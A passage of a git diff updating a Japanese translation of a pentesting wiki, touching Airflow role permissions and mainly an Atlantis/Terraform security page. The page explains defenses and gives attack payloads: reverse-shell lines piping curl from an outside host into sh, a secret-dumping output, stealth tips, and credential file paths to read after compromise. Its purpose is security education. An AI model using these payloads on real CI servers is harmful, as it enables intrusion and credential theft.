Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除] +\[Connectionsの削除、Connectionsの読み取り、Connectionsの編集、Connectionsの作成、DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、Poolsの削除、Poolsの読み取り、Poolsの編集、Poolsの作成、Providersの読み取り、Variablesの削除、Variablesの読み取り、Variablesの編集、Variablesの作成、XComsの読み取り、DAG Codeの読み取り、Configurationsの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除、Adminのメニューアクセス、Configurationsのメニューアクセス、Connectionsのメニューアクセス、Poolsのメニューアクセス、Variablesのメニューアクセス、XComsのメニューアクセス、XComsの削除] - **User** -\[DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除] +\[DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、XComsの読み取り、DAG Codeの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除] - **Viewer** -\[DAGsで読み取り、DAG Runsで読み取り、Task Instancesで読み取り、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス] +\[DAGsの読み取り、DAG Runsの読み取り、Task Instancesの読み取り、Audit Logsの読み取り、ImportErrorの読み取り、XComsの読み取り、DAG Codeの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス] - **Public** diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 3a0aeb4e9..415425493 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -11,7 +11,7 @@ Atlantisは基本的に、あなたのgitサーバーからのプルリクエス ### ローカルラボ 1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。 -2. **github**ユーザーの**個人トークン**(リポジトリアクセス付き)を作成します。 +2. **github**ユーザーの**パーソナルトークン**(リポジトリアクセス付き)を作成します。 3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。 1. 127.0.0.1:4141でウェブページにアクセスできます。 @@ -21,14 +21,14 @@ Atlantisは基本的に、あなたのgitサーバーからのプルリクエス **Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\ ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**(少なくとも書き込み権限)。\ -[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用にこれらのプラットフォームにユーザーを作成することを推奨していますが、個人アカウントを使用する人もいるかもしれません。 +[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。 > [!WARNING] > いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。 #### Webhook -Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、あなたのGitホストから受信する**webhook**が**正当であることを検証**します。 +Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、Gitホストから受信する**webhook**が**正当である**ことを検証します。 これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。 @@ -41,33 +41,33 @@ Atlantisはオプションで[**Webhookシークレット**](https://www.runatla [ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantisは、サーバー**Atlantisがホストされている**上で単に`terraform plan`と`apply`コマンドを**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。 +Atlantisは、サーバー**Atlantisがホストされている**上で`terraform plan`および`apply`コマンドを単純に**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。 -あなたがどのように[資格情報を提供するか](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です: +Atlantisに特定のプロバイダーの資格情報を[提供する方法](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です: -- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。彼らのドキュメントを読んでください。 -- クラウドでAtlantisを実行している場合、多くのクラウドには、そこに実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例: -- [AWS EC2ロール](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)("EC2 Role"を検索) +- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。ドキュメントを読んでください。 +- クラウドでAtlantisを実行している場合、多くのクラウドには、実行中のアプリケーションにクラウドAPIアクセスを提供する方法があります。例: +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)("EC2 Role"を検索) - [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例:`AWS_ACCESS_KEY` - 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例:`~/.aws/credentials` - [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。 > [!WARNING] -> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー(AWS、GCP、Github...)の**特権資格情報**が含まれている可能性が非常に高いです。 +> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー(AWS、GCP、Githubなど)への**特権資格情報**が含まれている可能性が非常に高いです。 #### ウェブページ -デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することを許可します(変更を加えることはできないため、それほど便利ではありません)。 +デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます(変更を加えることはできないため、それほど便利ではありません)。 インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**(必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです)。 -### サーバー設定 +### サーバー構成 -`atlantis server`の設定は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの混合を介して指定できます。 +`atlantis server`の構成は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。 -- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)は[こちら](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)で確認できます。 -- 設定オプションを環境変数に変換する方法は[こちら](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)で確認できます。 +- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)をここで見つけることができます。 +- [**環境変数に設定オプションを変換する方法**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)をここで見つけることができます。 値は**この順序で選択されます**: @@ -76,37 +76,37 @@ Atlantisは、サーバー**Atlantisがホストされている**上で単に`te 3. 設定ファイル > [!WARNING] -> 設定の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。 +> 構成の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。 -#### リポジトリ設定 +#### リポジトリ構成 -いくつかの設定は**リポジトリの管理方法に影響します**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です: +いくつかの構成は**リポジトリの管理方法に影響を与えます**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です: -1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはここで指定できず、フラグを使用して許可する必要があります。 +1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはフラグなしではここに指定できません。 1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。 -2. [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config):`--repo-config`フラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです(正規表現がサポートされています)。 +2. [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config):フラグ`--repo-config`で渡すことができ、各リポジトリの新しい設定を構成するyamlです(正規表現がサポートされています)。 3. **デフォルト**の値 **PR保護** -Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか(ブランチ保護に設定されていなくても)や、**`マージ可能`**(ブランチ保護が通過した)であることを**applyを実行する前に**示すことを許可します。セキュリティの観点から、両方のオプションを設定することが推奨されます。 +Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか(ブランチ保護に設定されていなくても)および/または**`マージ可能`**(ブランチ保護が通過した)であることを示すことを許可します**applyを実行する前に**。セキュリティの観点から、両方のオプションを設定することが推奨されます。 -`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書き可能**です。 +`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書きできます**。 **スクリプト** -リポジトリ設定は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)(_プレワークフローフック_)と、**ワークフローが実行された後に**[**実行するスクリプト**](https://www.runatlantis.io/docs/post-workflow-hooks.html)(_ポストワークフローフック_)を**指定できます**。 +リポジトリ構成は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)(_プレワークフローフック_)と[**実行した後に**](https://www.runatlantis.io/docs/post-workflow-hooks.html)(_ポストワークフローフック_)を指定できます。 リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。 **ワークフロー** -リポジトリ設定(サーバーサイド設定)では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**したりできます**。また、**新しく生成された**ワークフローに**アクセスできるリポジトリ**を**指定**することもできます。\ -その後、各リポジトリの**atlantis.yaml**ファイルで**使用するワークフローを指定**できます。 +リポジトリ構成(サーバーサイド構成)では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**することができます。**また、**どのリポジトリ**が生成された**新しい**ものにアクセスできるかを**指定することもできます。\ +その後、各リポジトリの**atlantis.yaml**ファイルが**使用するワークフローを指定する**ことを許可できます。 > [!CAUTION] -> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルでワークフローを**指定**できます。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\ -> これは基本的に、**そのリポジトリにアクセスできるユーザーにAtlantisサーバーでのRCEを与える**ことになります。 +> [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルで**指定できます**。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\ +> これは基本的に、**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。 > > ```yaml > # atlantis.yaml @@ -137,7 +137,7 @@ Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.de ### Atlantisコマンド -[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)では、Atlantisを実行するために使用できるオプションを見つけることができます: +[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)には、Atlantisを実行するために使用できるオプションが記載されています: ```bash # Get help atlantis help @@ -174,7 +174,7 @@ atlantis plan -- -lock=false リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**(または自動的に実行されるかもしれません)、**Atlantisサーバー内でRCEを実行できるようになります**。 -これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実行できます。次のようなペイロードを`main.tf`ファイルに入れるだけです: +これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実現できます。次のようなペイロードを`main.tf`ファイルに入れるだけです: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **ステルス攻撃** -この攻撃を**よりステルス的に**実行するには、以下の提案に従ってください: +この攻撃を**よりステルス的に**実行するには、次の提案に従ってください: - rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます: ```javascript @@ -190,14 +190,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) で rev shell コードを見つけることができます。 -- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のようにします。 -- **PRをmasterに作成する代わりに**、**2つのブランチ**(test1とtest2)を作成し、**一方からもう一方へのPRを作成します**。攻撃が完了したら、**PRとブランチを削除します**。 +- 外部リソースでは、**ref** 機能を使用して、リポジトリ内の **ブランチにある terraform rev shell コード** を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` のようにします。 +- **マスターへの PR を作成する代わりに**、**2つのブランチ**(test1 と test2)を作成し、**一方からもう一方への PR を作成します**。攻撃が完了したら、**PR とブランチを削除します**。 -#### Atlantis plan Secrets Dump +#### Atlantis プラン シークレット ダンプ -`atlantis plan`(`terraform plan`)を実行することで、**terraformによって使用されるシークレットをダンプ**できます。terraformファイルに次のようなものを入れます: +`atlantis plan`(`terraform plan`)を実行することで、**terraform に使用されるシークレットをダンプ**できます。terraform ファイルにこのようなものを入れます: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -205,16 +205,16 @@ value = nonsensitive(var.do_token) ``` #### Atlantis apply RCE - 新しいPRでの設定変更 -リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEを実行できるようになります**。 +リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEが可能になります**。 ただし、通常はいくつかの保護を回避する必要があります: - **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**(これはブランチ保護を回避する必要があることを意味します)。 - 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。 -- **承認済み**: この保護がAtlantisに設定されている場合、`atlantis apply`を実行する前に**他のユーザーがPRを承認する必要があります**。 -- デフォルトでは、[**Gitbotトークンを悪用してこの保護を回避できます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。 +- **承認済み**: この保護がAtlantisに設定されている場合、**他のユーザーがPRを承認する必要があります**。その後、`atlantis apply`を実行できます。 +- デフォルトでは、[**Gitbotトークンを使用してこの保護を回避することができます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。 -悪意のあるTerraformファイルで**`terraform apply`を実行すること**は、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使用します。**\ +悪意のあるTerraformファイルで**`terraform apply`を実行することができます**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**。**\ `main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります: ```json // Payload 1 to just steal a secret @@ -231,7 +231,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -**前の技術からの提案**に従って、この攻撃を**より隠密な方法**で実行します。 +前の技術からの**提案に従って**、この攻撃を**よりステルス的な方法**で実行します。 #### Terraform パラメータインジェクション @@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -何かを渡すことができるのは、いくつかの保護を回避するのに役立つ可能性のあるenv変数です。terraform env varsを確認してください [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +環境変数を渡すことができ、いくつかの保護を回避するのに役立つかもしれません。Terraformの環境変数については[https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)を確認してください。 #### カスタムワークフロー @@ -251,7 +251,7 @@ atlantis apply -- -h #Get terraform apply help この可能性は前のセクションで言及されました: > [!CAUTION] -> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルに**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。 +> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルにワークフローを**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。 > > これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。 > @@ -272,99 +272,99 @@ atlantis apply -- -h #Get terraform apply help > - run: my custom apply command > ``` -#### plan/apply保護の回避 +#### プラン/適用保護の回避 -[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリは**plan/apply保護を変更して回避する**ことが可能です。 +[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリが**プラン/適用保護を変更して回避する**ことが可能です。 ```yaml repos: - id: /.*/ apply_requirements: [] ``` -#### PR Hijacking +#### PR ハイジャック -もし誰かがあなたの有効なプルリクエストに**`atlantis plan/apply`**というコメントを送信すると、望まないタイミングでterraformが実行されます。 +誰かがあなたの有効なプルリクエストに **`atlantis plan/apply`** コメントを送信すると、望まないときに terraform が実行されます。 -さらに、**新しいコミットがプッシュされたときに**すべてのPRを**再評価**するように**ブランチ保護**が設定されていない場合、誰かがterraform設定に**悪意のある設定**を書き込み(前のシナリオを確認)、`atlantis plan/apply`を実行してRCEを得ることができます。 +さらに、**新しいコミットがプッシュ**されたときに **再評価**を求めるように **ブランチ保護**が設定されていない場合、誰かが terraform 設定に **悪意のある設定**を書き込み(前のシナリオを確認)、`atlantis plan/apply` を実行して RCE を獲得する可能性があります。 -これがGithubブランチ保護の**設定**です: +これが Github ブランチ保護の **設定**です: ![](<../images/image (216).png>) -#### Webhook Secret +#### Webhook シークレット -もしあなたが使用されている**webhook secret**を**盗むことができた**場合、または**webhook secret**が使用されていない場合、あなたは**Atlantis webhook**を呼び出し、**atlantisコマンド**を直接実行することができます。 +もしあなたが使用されている **Webhook シークレットを盗むことに成功した場合**、または **Webhook シークレットが使用されていない場合**、あなたは **Atlantis Webhook** を呼び出し、**atlatis コマンド**を直接実行することができます。 #### Bitbucket -Bitbucket Cloudは**webhook secrets**を**サポートしていません**。これにより攻撃者が**Bitbucketからのリクエストを偽装**することが可能になります。BitbucketのIPのみを許可していることを確認してください。 +Bitbucket Cloud は **Webhook シークレットをサポートしていません**。これにより、攻撃者が **Bitbucket からのリクエストを偽装**することが可能になります。Bitbucket の IP のみを許可していることを確認してください。 -- これは、**攻撃者**が**Bitbucketから来ているように見える偽のリクエストをAtlantisに送信**できることを意味します。 -- `--repo-allowlist`を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでのplan/applyになります。 -- これを防ぐために、[BitbucketのIPアドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください(Outbound IPv4 addressesを参照)。 +- これは、**攻撃者**が **Bitbucket から来ているように見える偽のリクエストを Atlantis に送信できることを意味します**。 +- `--repo-allowlist` を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでの plan/apply になります。 +- これを防ぐために、[Bitbucket の IP アドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください(Outbound IPv4 addresses を参照)。 -### Post-Exploitation +### ポストエクスプロイテーション -もしサーバーにアクセスできた場合、または少なくともLFIを取得した場合、読むべき興味深いものがあります: +サーバーへのアクセスを取得した場合、または少なくとも LFI を取得した場合、試して読むべき興味深いものがあります: -- `/home/atlantis/.git-credentials` VCSアクセス資格情報を含む -- `/atlantis-data/atlantis.db` より多くの情報を含むVCSアクセス資格情報 -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform状態ファイル +- `/home/atlantis/.git-credentials` VCS アクセス資格情報を含む +- `/atlantis-data/atlantis.db` より多くの情報を含む VCS アクセス資格情報を含む +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform ステートファイル - 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate - `/proc/1/environ` 環境変数 -- `/proc/[2-20]/cmdline` `atlantis server`のコマンドライン(機密データを含む可能性があります) +- `/proc/[2-20]/cmdline` `atlantis server` のコマンドライン(機密データを含む可能性があります) -### Mitigations +### 緩和策 -#### Don't Use On Public Repos +#### 公開リポジトリでの使用は避ける -誰でも公共のプルリクエストにコメントできるため、すべてのセキュリティ対策が利用可能であっても、適切なセキュリティ設定の構成なしに公共のリポジトリでAtlantisを実行することは依然として危険です。 +誰でも公開プルリクエストにコメントできるため、すべてのセキュリティ緩和策が利用可能であっても、適切なセキュリティ設定の構成なしに公開リポジトリで Atlantis を実行することは依然として危険です。 -#### Don't Use `--allow-fork-prs` +#### `--allow-fork-prs` を使用しない -公共のリポジトリで実行している場合(推奨されません、上記を参照)、`--allow-fork-prs`を設定すべきではありません(デフォルトはfalse)なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。 +公開リポジトリで実行している場合(推奨されません、上記を参照)、`--allow-fork-prs` を設定すべきではありません(デフォルトは false)なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。 #### `--repo-allowlist` -Atlantisは、`--repo-allowlist`フラグを介してwebhookを受け入れるリポジトリの許可リストを指定する必要があります。例えば: +Atlantis は、`--repo-allowlist` フラグを介して Webhook を受け入れるリポジトリの許可リストを指定する必要があります。例えば: - 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*` -- GitHub Enterpriseインストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*` -- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、webhook secretを設定しないと危険です。 +- GitHub Enterprise インストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*` +- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、Webhook シークレットも設定しないと危険です。 -このフラグは、あなたのAtlantisインストールがあなたが制御していないリポジトリで使用されないことを保証します。詳細については`atlantis server --help`を参照してください。 +このフラグは、あなたの Atlantis インストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細については `atlantis server --help` を参照してください。 -#### Protect Terraform Planning +#### Terraform プランニングを保護する -攻撃者が悪意のあるTerraformコードを含むプルリクエストを送信することが脅威モデルに含まれている場合、`terraform apply`の承認だけでは不十分であることを認識する必要があります。`terraform plan`で悪意のあるコードを実行することが可能であり、[`external`データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。 +攻撃者が悪意のある Terraform コードを含むプルリクエストを提出することが脅威モデルに含まれている場合、`terraform apply` の承認だけでは不十分であることを認識する必要があります。`terraform plan` で悪意のあるコードを実行することが可能であり、[`external` データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。 これを防ぐために、次のことができます: -1. プロバイダーをAtlantisイメージに組み込むか、ホストして本番環境での出口を拒否します。 -2. プロバイダー登録プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、誰がレジストリへの書き込みアクセスを持つかを制御できます。 -3. 